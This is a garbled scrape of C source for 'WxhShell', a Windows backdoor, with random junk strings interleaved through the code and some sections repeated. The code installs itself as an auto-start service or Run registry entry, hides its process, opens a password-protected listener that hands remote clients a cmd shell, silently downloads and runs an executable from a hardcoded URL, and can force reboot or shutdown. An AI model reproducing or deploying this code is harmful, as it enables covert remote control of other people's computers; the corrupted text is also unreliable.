g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o{wXq)b NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &WGG
kn `jyBF if (!NtQueryInformationProcess) return 0; pJ 7="n >rb8A6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2pQdDbm if(!hProcess) return 0; Jv9yy~ W6[# q%o if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z?i{2Fz6 X6g{qz Hg_ CloseHandle(hProcess); V}UYr Va#9 !K$qh{n hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JHZ`LWq if(hProcess==NULL) return 0; |ydOi& X0QLT:J b HMODULE hMod; 9F^rXY. char procName[255]; UjI-<| unsigned long cbNeeded; oDEvhNT YjM_8@< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C%y!)v_x QL4BD93v CloseHandle(hProcess); #b?)fqRJL jsrIZbN if(strstr(procName,"services")) return 1; // 以服务启动
:pZWFJ34{ @on\@~Ug return 0; // 注册表启动 7v^V]&&s } ~)\E&c 4q7hL // 主模块 4]$$ar) int StartWxhshell(LPSTR lpCmdLine) iCrLZ"$M { Rg?m$$X` SOCKET wsl; ~9KxvQzt BOOL val=TRUE; 1-M\K^F int port=0; \P` mV9P struct sockaddr_in door; aV'r
oxM 2PSt*( if(wscfg.ws_autoins) Install(); 6#rj3^] j >wT-s port=atoi(lpCmdLine); `K^j:fE7n wpLC, if(port<=0) port=wscfg.ws_port; )m7 Y o U1wsCH3+n WSADATA data; v!EE[[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q7b$j\;I &7CAxU;i3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wUbs9y< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O$Z<R:vVA door.sin_family = AF_INET; L93KsI door.sin_addr.s_addr = inet_addr("127.0.0.1"); M(_1'2 door.sin_port = htons(port); fq2t^c|$ f\~OG#AaX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZdP2}w closesocket(wsl); ~3u'=u9l return 1; pl{Pur ;i } BbqH02i #nS if(listen(wsl,2) == INVALID_SOCKET) { j>70AE3[8 closesocket(wsl); ~20O&2 return 1; tb@&!a$`? } .;&1"b8G Wxhshell(wsl); psHW(Z8G WSACleanup(); oMj;9,WK' tL!R^Tf return 0; C;&44cU/] /v,H%8S } s28rj6q 2}^fhMS // 以NT服务方式启动 yA/b7x-c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #6%9*Rh { ^l(Kj3gM DWORD status = 0; "7*cF>FE 8 DWORD specificError = 0xfffffff; rfdT0xfcU @}{~Ofs serviceStatus.dwServiceType = SERVICE_WIN32; vQ/&iAyut serviceStatus.dwCurrentState = SERVICE_START_PENDING; RI
q9wD}4( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xxlYn9ke serviceStatus.dwWin32ExitCode = 0; "$VqOSo serviceStatus.dwServiceSpecificExitCode = 0; @+3@Z?!SZ serviceStatus.dwCheckPoint = 0; i"{ \ > serviceStatus.dwWaitHint = 0; 6H\apgHm X~ AE?? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '<35XjW if (hServiceStatusHandle==0) return; 1~HR;cTv= &!lGx7zf status = GetLastError(); D6KYkN(,v if (status!=NO_ERROR) Gg3cY{7 { *0
0K3 serviceStatus.dwCurrentState = SERVICE_STOPPED; ?1z." & serviceStatus.dwCheckPoint = 0; Q]q`+ Z65 serviceStatus.dwWaitHint = 0; _p~lL<q-K[ serviceStatus.dwWin32ExitCode = status; ;&N;6V"} serviceStatus.dwServiceSpecificExitCode = specificError; _;Q1PgT SetServiceStatus(hServiceStatusHandle, &serviceStatus); lUR7zrwJ]o return; qDQ$Zq[ } R0n#FL^E WzC_M>_ serviceStatus.dwCurrentState = SERVICE_RUNNING; IfH*saN7 serviceStatus.dwCheckPoint = 0; BmRk|b serviceStatus.dwWaitHint = 0; @} 61D if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F .(zS(q } j5,vSh~q;' AC$:.KLI // 处理NT服务事件,比如:启动、停止 q5irKT*Hs VOID WINAPI NTServiceHandler(DWORD fdwControl) wi]F\ q"Y^ { pD+_ K switch(fdwControl) a/Cd;T2 { .7ZV:m case SERVICE_CONTROL_STOP: k|^e=I
serviceStatus.dwWin32ExitCode = 0; 3}@!TI serviceStatus.dwCurrentState = SERVICE_STOPPED; 5,0fL serviceStatus.dwCheckPoint = 0;
vj+x( serviceStatus.dwWaitHint = 0; 7n-;++a5] { , 8NY<sFh SetServiceStatus(hServiceStatusHandle, &serviceStatus); JY+ N+c\ } ccUq!1 return; ?3Ytn+Py case SERVICE_CONTROL_PAUSE: =+T$1 serviceStatus.dwCurrentState = SERVICE_PAUSED; Qz+hS\yx break; HbRDa case SERVICE_CONTROL_CONTINUE: p/4\O serviceStatus.dwCurrentState = SERVICE_RUNNING; '\$2+* break; 4v"9I( case SERVICE_CONTROL_INTERROGATE: cMCGaaLU break; poqcoSL"} }; r.5}Q? SetServiceStatus(hServiceStatusHandle, &serviceStatus); _`/:gkZS } &uh|!lD ;E8.,#/a // 标准应用程序主函数 =AhXEu ^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .Y8z3O { cax]lO !^dvtv`K // 获取操作系统版本 Jon<?DQj
OsIsNt=GetOsVer(); e5!LbsJv GetModuleFileName(NULL,ExeFile,MAX_PATH); H]LH~l M(l>^N8W8 // 从命令行安装 >Cb[ if(strpbrk(lpCmdLine,"iI")) Install(); Vf67gux fh0a "#L{ // 下载执行文件 8._
A[{.f if(wscfg.ws_downexe) { L#Mul&r3x0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YxEc(a" WinExec(wscfg.ws_filenam,SW_HIDE); K5O#BBX= } U2=PmS P t;7 tuq
if(!OsIsNt) { v-;j44sB // 如果时win9x,隐藏进程并且设置为注册表启动 XY[uyR4Z HideProc(); vI<n~FHt StartWxhshell(lpCmdLine); >a@c5 } 9oly=&lJ else ^Z:oCTOP if(StartFromService()) W0]W[b,:u$ // 以服务方式启动 Gz]p2KBg StartServiceCtrlDispatcher(DispatchTable); CS;bm`8a else NuLyu=.? // 普通方式启动 &{):x StartWxhshell(lpCmdLine); iRo/ ~( " "GeO%J8 return 0; 9o|=n'o } !TJCQ[Aa} v !~lVv& oUMY?[Wp j Y>BU& =========================================== sx ;7 G@Z,Hbgm 1gEeZ\B-& |IbCN ?mdgY1 0XCtw6 " $
e<&7 iez@j #include <stdio.h> -^m]Tb<u #include <string.h> 3cuVyf<v #include <windows.h> c$.h]&~dN #include <winsock2.h> ~_SoP #include <winsvc.h> H"_ZqEg #include <urlmon.h> :zXkQQD8` v(+9& #pragma comment (lib, "Ws2_32.lib") kW"6Gc&HUN #pragma comment (lib, "urlmon.lib") ;++CMTza] 5&WYL #define MAX_USER 100 // 最大客户端连接数 ).[Mnt/Ft #define BUF_SOCK 200 // sock buffer (^fiw%# #define KEY_BUFF 255 // 输入 buffer C]ev"Am_)
W7k\j&x #define REBOOT 0 // 重启 1+1Z]!nG#! #define SHUTDOWN 1 // 关机 "0JG96&\ %F'*0< #define DEF_PORT 5000 // 监听端口 7^}np^[HB Y`5(F>/RQG #define REG_LEN 16 // 注册表键长度 h|^RM*x #define SVC_LEN 80 // NT服务名长度 &tT*GjPwg; W'l
&rm@ // 从dll定义API `Pa)H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cNi)[2o7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $q_e~+SXT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /%w9F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '+6H= Qn Z5 lE*z // wxhshell配置信息
bL: !3|M struct WSCFG { g4(vgWOW` int ws_port; // 监听端口 ,G, '#] char ws_passstr[REG_LEN]; // 口令 |D `r o int ws_autoins; // 安装标记, 1=yes 0=no 4l0ON>W( char ws_regname[REG_LEN]; // 注册表键名 xZJ
r* char ws_svcname[REG_LEN]; // 服务名 8]!%mrS char ws_svcdisp[SVC_LEN]; // 服务显示名 r|U'2+vn char ws_svcdesc[SVC_LEN]; // 服务描述信息 8`e75%f:2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yi7m!+D3 int ws_downexe; // 下载执行标记, 1=yes 0=no 1'qllkT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q;m:o8Q5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a1lF8; [ ?&Zfb }; 7Sc._G{[% `mN*"1p- // default Wxhshell configuration =.q
Zgcg struct WSCFG wscfg={DEF_PORT, $i s|B9B "xuhuanlingzhe", JZQT} 1, Gw3H1:yo "Wxhshell", ]JQ';%dne "Wxhshell", 2hOr#I$/ "WxhShell Service", H5@N<v5u "Wrsky Windows CmdShell Service", (DzV3/+p^ "Please Input Your Password: ", iOCx7j{BS 1, 5(@P1Bi "http://www.wrsky.com/wxhshell.exe", }yde9b?F "Wxhshell.exe" >heFdKq1 }; nwH'E ]#n,DU}V // 消息定义模块 nJ!`^X5I char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qA4w*{JN char *msg_ws_prompt="\n\r? for help\n\r#>"; t@KN+
C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h^{D " char *msg_ws_ext="\n\rExit."; &X0qH8W char *msg_ws_end="\n\rQuit."; }O+F#/6 char *msg_ws_boot="\n\rReboot..."; o.qeF4\d6 char *msg_ws_poff="\n\rShutdown..."; <k2Qcicy char *msg_ws_down="\n\rSave to "; 2=X\G~a ?NV3]vl char *msg_ws_err="\n\rErr!"; ~-r*2bR char *msg_ws_ok="\n\rOK!"; P<AN`un
2rS|V|d char ExeFile[MAX_PATH]; |Qq_;x] int nUser = 0; ,j{$SuZM HANDLE handles[MAX_USER]; i3T]<&+j5 int OsIsNt; dW3 q 1aC?*,e? SERVICE_STATUS serviceStatus; 7x
*] SERVICE_STATUS_HANDLE hServiceStatusHandle; !<psK[ o<\CA[
// 函数声明 TCW[;d int Install(void); .}QR~IR' int Uninstall(void); Vx1xULdY int DownloadFile(char *sURL, SOCKET wsh); }"?v=9.G int Boot(int flag); F-MN%WD~ void HideProc(void); q$[x*!~ int GetOsVer(void); Rk#@{_ int Wxhshell(SOCKET wsl); F1s kI _! void TalkWithClient(void *cs); &5Ai&<q"p int CmdShell(SOCKET sock); 7<W7pXDp int StartFromService(void); E9=a+l9 int StartWxhshell(LPSTR lpCmdLine); ZqaCe> ;x.xj/7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sxq'uF(K VOID WINAPI NTServiceHandler( DWORD fdwControl ); $0[T=9q <+ l`s_Id# // 数据结构和表定义 9Ra_[1 SERVICE_TABLE_ENTRY DispatchTable[] = y993uP { 16q"A$ {wscfg.ws_svcname, NTServiceMain}, ]=5nC)| {NULL, NULL} ,U_p6TV5 }; T\g%. RIXUzKLO // 自我安装 FsrGI
(x? int Install(void) k@qn'Zi { S<Zb>9pl char svExeFile[MAX_PATH]; ]|cL+|':y HKEY key; !(=bH"P strcpy(svExeFile,ExeFile); K8 Y/sHl j(Tt-a("z // 如果是win9x系统,修改注册表设为自启动 pVTx#rY if(!OsIsNt) { ;\yVwur if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $i@~$m7d- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yrb[:;Y RegCloseKey(key); a=LjFpv/] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rYI9?q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^:Vwblv( RegCloseKey(key); tWkD@w`Lnn return 0; cX$ Pq } # [c`]v } ;IX3w:Aw } SWujj,-[ else { q.L0rY! #S+GI! // 如果是NT以上系统,安装为系统服务 cES3<`[K
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " $5J7 if (schSCManager!=0) ;74hOHDS { [eV!ho*r SC_HANDLE schService = CreateService 0(fN ( eJ0PSW/4l schSCManager, I13nmI\ wscfg.ws_svcname, !Fa2F~#h wscfg.ws_svcdisp, RFyeA.
N SERVICE_ALL_ACCESS, *Q bPz4," SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^J0*]k%
SERVICE_AUTO_START, PfTjC"`, SERVICE_ERROR_NORMAL, D0(QZrVa svExeFile, q|)8VmVV NULL, kJP
fL s NULL, ]Y!$HT7\ NULL, lxTW1kr NULL, Z IfhC' NULL DJSSc ); 3DRXao if (schService!=0) { Z<4 { F5Tah{ CloseServiceHandle(schService); b?U!<s. CloseServiceHandle(schSCManager); %H\i}}PTe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LO8V*H( strcat(svExeFile,wscfg.ws_svcname); w]w>yD>$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lc;4 Hg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mVGQyX RegCloseKey(key); jdxwS return 0; B9;dX6c } 2[i:bksjW } cPe0o'`[ CloseServiceHandle(schSCManager); =>". } 8/Z } Nq>74q]}n8 Ct[{>asun return 1; ^S*~<0NQ' } aNgaV$|2a L1#z'<IO // 自我卸载 ws:@Pe4AF int Uninstall(void) |}paa { A$G>D3 HKEY key; IDbqhZp( Y*iYr2?; if(!OsIsNt) { l v]TE" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f,Vj8@p)x RegDeleteValue(key,wscfg.ws_regname); -Y'Qa/:7 RegCloseKey(key); mXnl-_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +rS}f
N$L. RegDeleteValue(key,wscfg.ws_regname); lb3: #? RegCloseKey(key); L{xCsJ3d return 0; }9[E+8L1 } \4y7! } wowv>!N!X- } p(/PG+ else { HJT}v/FZ L~fxVdUz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w[Ee#Yaj.- if (schSCManager!=0) zrYhx!@ { bY:A7.p7# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); omQaN#!, if (schService!=0) r(./ 00a { h32QEz-+ if(DeleteService(schService)!=0) { CqQ>"Y CloseServiceHandle(schService); o9+"6V|. CloseServiceHandle(schSCManager); 4bD^Kc4\ return 0; 1wpT"5B } 26|2r CloseServiceHandle(schService); ?qwTOi } [eI{vH{ CloseServiceHandle(schSCManager); 5I9~OJ> } _gZ8UZ) } ?2l#=t?PP KWIH5* AM return 1; VA*~RS } 1ipfv-hb6 Hm@+(j(N96 // 从指定url下载文件 k4iu`m@^H int DownloadFile(char *sURL, SOCKET wsh) +u;f]p { CHp`4 HRESULT hr; YnC7e2 char seps[]= "/"; We3Z#}X char *token; mB&nN+MV char *file; $@kGbf~k char myURL[MAX_PATH]; +9db1:
char myFILE[MAX_PATH]; FWqnlK# 7g1"s1~or strcpy(myURL,sURL); cwiHHf> token=strtok(myURL,seps); ;=piJ%k while(token!=NULL) U^<\'` { BU-+L}-48 file=token; ZzET8?8 token=strtok(NULL,seps); EMME?OW$ } ^LgaMmz X6s6fu; GetCurrentDirectory(MAX_PATH,myFILE); a-\\A[E strcat(myFILE, "\\"); qa
'YZE` strcat(myFILE, file); ?eD,\G send(wsh,myFILE,strlen(myFILE),0); 5^lroC-(x send(wsh,"...",3,0); j&n][=PL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '
O1X+ if(hr==S_OK) #@xSR:m return 0; `k ~.># else Oo{+W5[ return 1; }Th":sin}, *gRg--PY% } 2Eg*Yb 1 ??tyz4$; // 系统电源模块 w5,p9f}.
int Boot(int flag) 3In`
!@ EJ { Ek\fx*Lz HANDLE hToken; c]:sk[u TOKEN_PRIVILEGES tkp; F4+mkB:w*7 ,|SO'dG if(OsIsNt) { OM5"&ZIZb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C
9IKX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6F PGQ0q tkp.PrivilegeCount = 1; !{5jP|vo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \5UwZx\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z'c{4b`N if(flag==REBOOT) { %Hdg,NH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) udxLHs return 0; &Npv~Iy } yIC.JmD* else { R=ddQ:W6g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P~nI6/r1 return 0; ]eA< } (XYYbP } @a,X{0 else { 8`E9a if(flag==REBOOT) { nnLE dJ}n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Am3^3> return 0; Iw(2D(se } #W`>vd} else { !Irmc*;QE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9hG)9X4 return 0; Sqj'2<~W } w$ Lpuun{ } )yp+!\ ]|g{{PWH return 1; Kl.xe&t@j } .Lz\/ OS SrzlR) // win9x进程隐藏模块
}Y\Ayl void HideProc(void) a x1 { >Ya+#j~CZ hU=n>g>nx HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /C"dwh"`` if ( hKernel != NULL ) q)R&npP7 { `[\*1GpAo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NyU~8?bp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hPtSY'_@_ FreeLibrary(hKernel); w :2@@)pr } Sd?:+\bS; :@KU_U)\ return; wWm1G) } =mV1jGqX 8XtZF,Du // 获取操作系统版本 oeKI9p13\ int GetOsVer(void) zp[Uh]-dMK { `-!t 8BH OSVERSIONINFO winfo; F`,XB[}2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'c[4-m3bg GetVersionEx(&winfo); q%8%J'Fro if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TTcMIMyLT return 1; zt{?Ntb else _U)BOE0o return 0; K~**. NF-n } D*3\4=6x *44^M{ti< // 客户端句柄模块 l]RO' int Wxhshell(SOCKET wsl) 01Bs7@"+ { ,aS6|~ac4 SOCKET wsh; %!$ua_8 struct sockaddr_in client; 4eapR|#T DWORD myID; [f["9(: N'_,VB while(nUser<MAX_USER) lot7S XvK { m=i 8o ` int nSize=sizeof(client); t(/b'Peq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |T7 < ! if(wsh==INVALID_SOCKET) return 1; ?2hoY J$6tCFD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); td-2[Sy if(handles[nUser]==0) $h1`-=\7 closesocket(wsh); LY}%|w else vgRjd1k.\y nUser++; &L}e&5 } 0-#SvTf>;: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @? 4- K~"uZa^s return 0; Q#NXJvI } B0I(/ 7 6wH]W+A // 关闭 socket O o9 ePw7 void CloseIt(SOCKET wsh) /CX_@%m}e= { HRO:U% closesocket(wsh); Aat_5p nUser--; =*0<.Lo': ExitThread(0); KK"uSC } nxH=Ut7{ {8D`A;KD // 客户端请求句柄 I]N?}]uZ void TalkWithClient(void *cs) $ ;cZq { Ut4cli&cC VS0
&[bl SOCKET wsh=(SOCKET)cs; l6ayV char pwd[SVC_LEN]; NT?Gl( char cmd[KEY_BUFF]; 7J$ char chr[1]; M\zM-B int i,j; 5]yQMY\2) v^2q\A-? while (nUser < MAX_USER) { c6gRXp'ID 1HYrJb,d if(wscfg.ws_passstr) { :f (UZmV$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xab1`~%K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6J[ {?, //ZeroMemory(pwd,KEY_BUFF); (+}H
ih i=0; wi/Fx=w while(i<SVC_LEN) { ; V)pXLE ]pi"M3f_ // 设置超时 n'a=@/ fd_set FdRead; JK:i- struct timeval TimeOut; !-1UJqO FD_ZERO(&FdRead); $ )q?z.U FD_SET(wsh,&FdRead); T+p?VngF TimeOut.tv_sec=8; 1,,kU TimeOut.tv_usec=0; #7/;d= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @]ydWd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z
4,nl @q0\oG4L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p^PAbCP'|3 pwd=chr[0]; lA}(63j+b if(chr[0]==0xd || chr[0]==0xa) { e]-bB#-A pwd=0; Vg9nb break; 3>X]`Oj7y } x]o~ %h$ i++; yT<6b)&*& } TZ8:3ti Y?G9d6]Lk6 // 如果是非法用户,关闭 socket _E0XUT!rA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?,8|K B } .Bxv|dji /KDKA) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V'TBt=!=] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ZR+(+i, Do-~-d4 while(1) { Z_vIGH|1 -0[?6.(s" ZeroMemory(cmd,KEY_BUFF); yn=BO`sgW @jb
-u S // 自动支持客户端 telnet标准 Q?df5{6 j=0; ,e\'Y!' while(j<KEY_BUFF) { HD^ Ou5YB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+24jHs cmd[j]=chr[0]; )EQWc0iKG if(chr[0]==0xa || chr[0]==0xd) { Ni]V)wGE; cmd[j]=0; )`;Q]?D break; t[$C r; } z|,YO6(L j++; XV)<Oav s } ;MH((M/AN }6zo1" // 下载文件 wuRB[KLe if(strstr(cmd,"http://")) { XL9smFq send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^e*Tg& if(DownloadFile(cmd,wsh)) HLMcOuj send(wsh,msg_ws_err,strlen(msg_ws_err),0); |C;8GSw>|F else 5]_m\ zn= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z4GcS/3K } %t& else { l|WdJn
o
Vl"20): switch(cmd[0]) { <%d/"XNg[D |"}F cS
y // 帮助 Vf28R,~m case '?': { MR") send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rw:z|-r break; N{/):O } zVEG)
Hr // 安装 T'VZ=l[ case 'i': { &6ymGo if(Install()) 5UWj#|t send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"Mq<XO&51 else ].AAHu5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Wd#HKIG>l break; h2k"iO} } 6}z-X* // 卸载 aCxF{>n
case 'r': { ,"6Bw|s if(Uninstall()) & OO0v*@{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=G>4Ua3 else %5g(|Y] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\f
/(&, break; @k+&89@G } q4y P\B // 显示 wxhshell 所在路径 >:C0ZQUW case 'p': { |DUWB; char svExeFile[MAX_PATH]; #)3luf3G
strcpy(svExeFile,"\n\r"); sej$$m R strcat(svExeFile,ExeFile); (5rfeSA^ send(wsh,svExeFile,strlen(svExeFile),0); \&!qw[;O break; nYFM^56>_ } \ 8v^ hb // 重启 [SKN}:D case 'b': { ?hC,49 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7.mYzl-F( if(Boot(REBOOT)) 4Tdp;n\F send(wsh,msg_ws_err,strlen(msg_ws_err),0); cFD3 else { "
""k}M2A closesocket(wsh); 4*U5o!w1{ ExitThread(0); ( IXUT6| } #ETy#jKL break; V|3^H^\5P } TCWt3\ // 关机 {D$5M/$ case 'd': { <jAn~=Uq[, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N^Hj%5 if(Boot(SHUTDOWN)) '.B5CQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xqQLri} else { pN4gHi= closesocket(wsh); <B&vfKO^h ExitThread(0); ~ K/_51O' } `s8o2"12 break; Tlm::S
} V(5*Dn84 // 获取shell hLICu[LC? case 's': { <kCOg8<y
: CmdShell(wsh); HO_!/4hrU closesocket(wsh); ;XIDu6 ExitThread(0); &[z<p break; : i{tqY% } <MyT ; // 退出 B,fVNpqo case 'x': { 5Q/jI$^h0Z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GIvl| CloseIt(wsh); KvH t`
break; -pHUC't } 3}}8ukq // 离开 XI+GWNAmJ case 'q': { oZ_,WwnE send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7n)ob![\d closesocket(wsh); Itz[%Dbiq9 WSACleanup(); &n'@L9v81 exit(1); Ih HKRb[ break; RT.
%\))) } Alk+MwjR } `t"7[Zk } f>iDqC4 pkf$%{"e // 提示信息 '2Lx>nByk if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m}(M{^\| } t3b M4+n } qjsEyro$- " ?Ux\)* return; ti^=aB
} H0f] Swh0a tM|/OJ7 // shell模块句柄 t)5.m} int CmdShell(SOCKET sock) if?X^j0 { e>m+@4*sn STARTUPINFO si; t$3B#= ZeroMemory(&si,sizeof(si)); wBJ|%mc3TA si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*J?#r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !>#gm7 PROCESS_INFORMATION ProcessInfo; ceuEsQ} char cmdline[]="cmd"; ..R JHa6B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q`3HHq return 0; eH V#Mey[ } PpLiH9} =$y;0]7Lwi // 自身启动模式 Kk,u{EA int StartFromService(void) +Ks 3 { {PkR6.XhR typedef struct fRb { `-.6;T}2U DWORD ExitStatus; K 6yD64 DWORD PebBaseAddress; I
Z|EPzS DWORD AffinityMask; `oTV)J'~ DWORD BasePriority; p"6ydXn% ULONG UniqueProcessId; ma xpR>7`j ULONG InheritedFromUniqueProcessId; E[i#8_ } PROCESS_BASIC_INFORMATION; kRr/x-" C[';B)a PROCNTQSIP NtQueryInformationProcess; )gD2wk( 9 I:3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G?, "AA; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AV4fN@BX ,|GjrT{vf HANDLE hProcess; :*/g~y(fE PROCESS_BASIC_INFORMATION pbi; 1>/ iYf >X*G6p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Y'ow=8M if(NULL == hInst ) return 0; 8;"9A Ct^=j@g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x+TdTe;p g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M(yWE0 3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q{5.;{/eC H )>3c1 if (!NtQueryInformationProcess) return 0; 89j:YfA=v @FZ_[CYg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r,3\32[? if(!hProcess) return 0; /MMnW$)
]rSg,Q>E if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (.i wD& =.OzpV)=V CloseHandle(hProcess); XH(-anU"!P )#GF:.B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \3]O?' if(hProcess==NULL) return 0; "',;pGg|K 7KGb2V< t HMODULE hMod; ]jPP]Z:y char procName[255]; eh>FYx(
